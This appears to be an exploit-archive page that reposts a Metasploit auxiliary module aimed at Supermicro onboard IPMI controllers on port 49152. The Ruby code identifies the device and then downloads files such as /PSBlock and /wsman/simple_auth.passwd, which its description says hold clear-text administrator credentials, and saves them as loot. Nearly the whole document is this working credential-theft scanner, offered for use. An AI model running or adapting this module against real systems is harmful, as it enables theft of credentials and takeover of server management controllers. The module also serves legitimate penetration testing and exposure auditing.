Supermicro Onboard IPMI Port 49152 Sensitive File Exposure Exploit



EKU-ID: 4120 CVE: OSVDB-ID:
Author: hdm Published: 2014-07-01 Verified: Verified
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'uri'
require 'msf/core'
  
class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  
  
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
      'Description' => %q{
This module abuses a file exposure vulnerability accessible through the web interface
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
to obtain detailed device information and download data files containing the clear-text
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
were exposed to the internet with this vulnerability.
},
      'Author' =>
        [
          'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
          'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
          'Dan Farmer <zen[at]fish2.com>', # Additional investigation
          'hdm' # Metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
          [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
        ],
      'DisclosureDate' => 'Jun 19 2014'))
  
    register_options(
      [
        Opt::RPORT(49152)
      ], self.class)
  end
  
  def is_supermicro?
    res = send_request_cgi(
      {
        "uri" => "/IPMIdevicedesc.xml",
        "method" => "GET"
      })
  
    if res && res.code == 200 && res.body.to_s =~ /supermicro/i
      path = store_loot(
        'supermicro.ipmi.devicexml',
        'text/xml',
        rhost,
        res.body.to_s,
        'IPMIdevicedesc.xml'
      )
      print_good("#{peer} - Stored the device description XML in #{path}")
      return true
    else
      return false
    end
  end
  
  
  def run_host(ip)
  
    unless is_supermicro?
      vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller")
      return
    end
  
    candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
  
    candidates.each do |uri|
      res = send_request_cgi(
        {
          "uri" => uri,
          "method" => "GET"
        })
  
      next unless res
  
      unless res.code == 200 && res.body.length > 0
        vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}")
        next
      end
  
      path = store_loot(
        'supermicro.ipmi.passwords',
        'application/octet-stream',
        rhost,
        res.body.to_s,
        uri.split('/').last
      )
      print_good("#{peer} - Password data from #{uri} stored to #{path}")
    end
  end
  
end